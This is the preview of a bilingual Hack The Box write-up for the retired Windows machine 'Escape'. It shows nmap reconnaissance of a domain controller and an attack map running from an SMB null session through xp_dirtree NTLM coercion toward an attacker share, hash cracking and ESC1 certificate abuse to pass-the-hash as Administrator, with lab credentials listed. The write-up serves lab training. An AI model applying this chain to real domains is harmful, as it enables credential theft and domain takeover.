Escape
Executive summary — Escape is a domain controller that also hosts a SQL Server instance, and compromising it fully chains six weaknesses with no CVE: an SMB null session, credentials published in a PDF, an NTLM coercion attack against the SQL Server service account via
xp_dirtree, a dictionary password, a password leaked by mistake into a log file, and finally an AD CS template vulnerable to ESC1 that turns any domain user into Domain Admin. No single link would have been enough on its own; each one hands over exactly what's needed to reach the next.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Medium |
| Status | Retired |
| Target IP | 10.129.228.253 |
Attack map
[SMB] null session -> "Public" share readable with no credentials
│ contains "SQL Server Procedures.pdf"
▼
[PDF] courtesy credentials: PublicUser / GuestUserCantWrite1
│ + staff names (Ryan, Tom, Brandon) -> firstname.lastname convention
▼
[1433] SQL Server, public role, no sysadmin -> EXEC xp_dirtree '\\attacker\share'
│ sql_svc authenticates over NTLM against our SMB -> NetNTLMv2 hash captured
▼
[hashcat -m 5600] REGGIE1234ronnie (rockyou) -> sql_svc has WinRM access (Pwn3d!)
│ C:\SQLServer\Logs\ERRORLOG.BAK -> password mistyped into the username field
▼
[WinRM] Ryan.Cooper / NuclearMosquito3 (user.txt)
│ AD CS template "UserAuthentication" -> ESC1 (Enrollee Supplies Subject)
▼
[certipy] certificate as administrator@sequel.htb -> TGT + NT hash (PKINIT)
▼
[ROOT] pass-the-hash against Administrator (root.txt)
1. Reconnaissance
Before scanning a single port, the TTL already gives away the OS: Windows initializes it to 128, Linux to 64. A ttl=127 (128 minus the VPN hop) points to Windows and shapes the whole methodology that follows.
ping -c 3 -W 3 10.129.228.253
64 bytes from 10.129.228.253: icmp_seq=1 ttl=127 time=37.3 ms
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.228.253
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s <- anomalous on a DC
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667,49689,49690,49706,49716/tcp open unknown
The 53/88/389/445/464/3268/9389 combo is an unmistakable domain controller signature: 88 (Kerberos) is the definitive tell, only a KDC listens there. 5985 (WinRM) matters as a remote-access vector as soon as a valid credential in Remote Management Users turns up. And there's a real anomaly: 1433/tcp — SQL Server. A DC shouldn't be hosting a database: it's extra attack surface, its own service account, running on the most critical asset in the domain. By the machine's design, this will be the entry vector.
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,5985,9389 -Pn -oN nmap-services.txt 10.129.228.253
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
|_ssl-date: 2026-08-09T00:56:46+00:00; +8h00m08s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sequel.htb
|_ DNS_Computer_Name: dc.sequel.htb
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required
|_clock-skew: mean: 8h00m07s
Five facts, each with concrete operational consequences. Domain sequel.htb, DC dc.sequel.htb. SQL Server 2019 Express confirmed. Message signing enabled and required: mandatory SMB signing kills NTLM relay — when a hash gets captured later on, it can't be relayed, only cracked offline; that decides the whole strategy right here. The LDAPS certificate issued by an internal CA hints at AD CS deployed in the domain, the first clue toward what will become the escalation vector. And clock-skew: +8h00m07s: Kerberos rejects any authentication more than 5 minutes off, which will break the final phase unless fixed beforehand.
echo "10.129.228.253 dc.sequel.htb sequel.htb dc" | sudo tee -a /etc/hosts
In Active Directory, name resolution isn't optional: Kerberos issues tickets for name-based SPNs, and AD CS needs the CA's FQDN. Working by IP alone breaks half the toolchain.
Resumen ejecutivo — Escape es un controlador de dominio que además aloja una instancia de SQL Server, y su compromiso encadena seis debilidades sin CVE: una sesión nula SMB, credenciales publicadas en un PDF, una coerción NTLM contra la cuenta de servicio de SQL Server vía
xp_dirtree, una contraseña de diccionario, una contraseña filtrada por error en un log, y finalmente una plantilla de AD CS vulnerable a ESC1 que convierte a cualquier usuario del dominio en Domain Admin. Ningún eslabón por separado habría bastado; cada uno entrega justo lo necesario para alcanzar el siguiente.
| Plataforma | Hack The Box |
| Sistema operativo | Windows |
| Dificultad | Medium |
| Estado | Retired |
| IP objetivo | 10.129.228.253 |
Mapa del ataque
[SMB] sesión nula -> share "Public" legible sin credenciales
│ contiene "SQL Server Procedures.pdf"
▼
[PDF] credenciales de cortesía: PublicUser / GuestUserCantWrite1
│ + nombres de personal (Ryan, Tom, Brandon) -> convención nombre.apellido
▼
[1433] SQL Server, rol public sin sysadmin -> EXEC xp_dirtree '\\atacante\share'
│ sql_svc se autentica por NTLM contra nuestro SMB -> hash NetNTLMv2 capturado
▼
[hashcat -m 5600] REGGIE1234ronnie (rockyou) -> sql_svc con acceso WinRM (Pwn3d!)
│ C:\SQLServer\Logs\ERRORLOG.BAK -> contraseña tecleada por error en el campo de usuario
▼
[WinRM] Ryan.Cooper / NuclearMosquito3 (user.txt)
│ plantilla AD CS "UserAuthentication" -> ESC1 (Enrollee Supplies Subject)
▼
[certipy] certificado como administrator@sequel.htb -> TGT + hash NT (PKINIT)
▼
[ROOT] pass-the-hash sobre Administrator (root.txt)
1. Reconocimiento
Antes de escanear un solo puerto, el TTL ya adelanta el sistema operativo: Windows inicializa a 128, Linux a 64. Un ttl=127 (128 menos el salto de la VPN) apunta a Windows y condiciona toda la metodología que sigue.
ping -c 3 -W 3 10.129.228.253
64 bytes from 10.129.228.253: icmp_seq=1 ttl=127 time=37.3 ms
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.228.253
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s <- anómalo en un DC
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667,49689,49690,49706,49716/tcp open unknown
El conjunto 53/88/389/445/464/3268/9389 es la firma inequívoca de un controlador de dominio: 88 (Kerberos) es el indicador definitivo, solo lo abre un KDC. 5985 (WinRM) importa como vector de acceso remoto en cuanto se consiga una credencial válida en Remote Management Users. Y hay una anomalía real: 1433/tcp — SQL Server. Un DC no debería alojar una base de datos: es superficie adicional, cuenta de servicio propia, sobre el activo más crítico del dominio. Por diseño de la máquina, será el vector de entrada.
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,5985,9389 -Pn -oN nmap-services.txt 10.129.228.253
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
|_ssl-date: 2026-08-09T00:56:46+00:00; +8h00m08s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: sequel
| NetBIOS_Domain_Name: sequel
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: sequel.htb
|_ DNS_Computer_Name: dc.sequel.htb
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required
|_clock-skew: mean: 8h00m07s
Cinco datos con consecuencias operativas concretas. Dominio sequel.htb, DC dc.sequel.htb. SQL Server 2019 Express confirmado. Message signing enabled and required: el firmado SMB obligatorio anula el relay de NTLM — cuando más adelante capturemos un hash, no podrá retransmitirse, solo crackearse offline; la estrategia se decide aquí. El certificado LDAPS emitido por una CA interna sugiere AD CS desplegado en el dominio, primera pista del vector de escalada final. Y clock-skew: +8h00m07s: Kerberos rechaza cualquier autenticación con más de 5 minutos de diferencia, lo que romperá la fase final si no se corrige antes.
echo "10.129.228.253 dc.sequel.htb sequel.htb dc" | sudo tee -a /etc/hosts
En Active Directory la resolución de nombres no es opcional: Kerberos emite tickets para SPNs basados en nombre, y AD CS necesita el FQDN de la CA. Trabajar solo por IP rompe media caja de herramientas.
This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.
See Root Access plansNo account? Create one free then upgrade from your console.
Este contenido es solo para Root Access. Todo lo demás del sitio — el nivel gratuito, toda la biblioteca pública — sigue abierto.
Ver planes de Root Access¿Sin cuenta? Crea una gratis y luego mejora desde tu consola.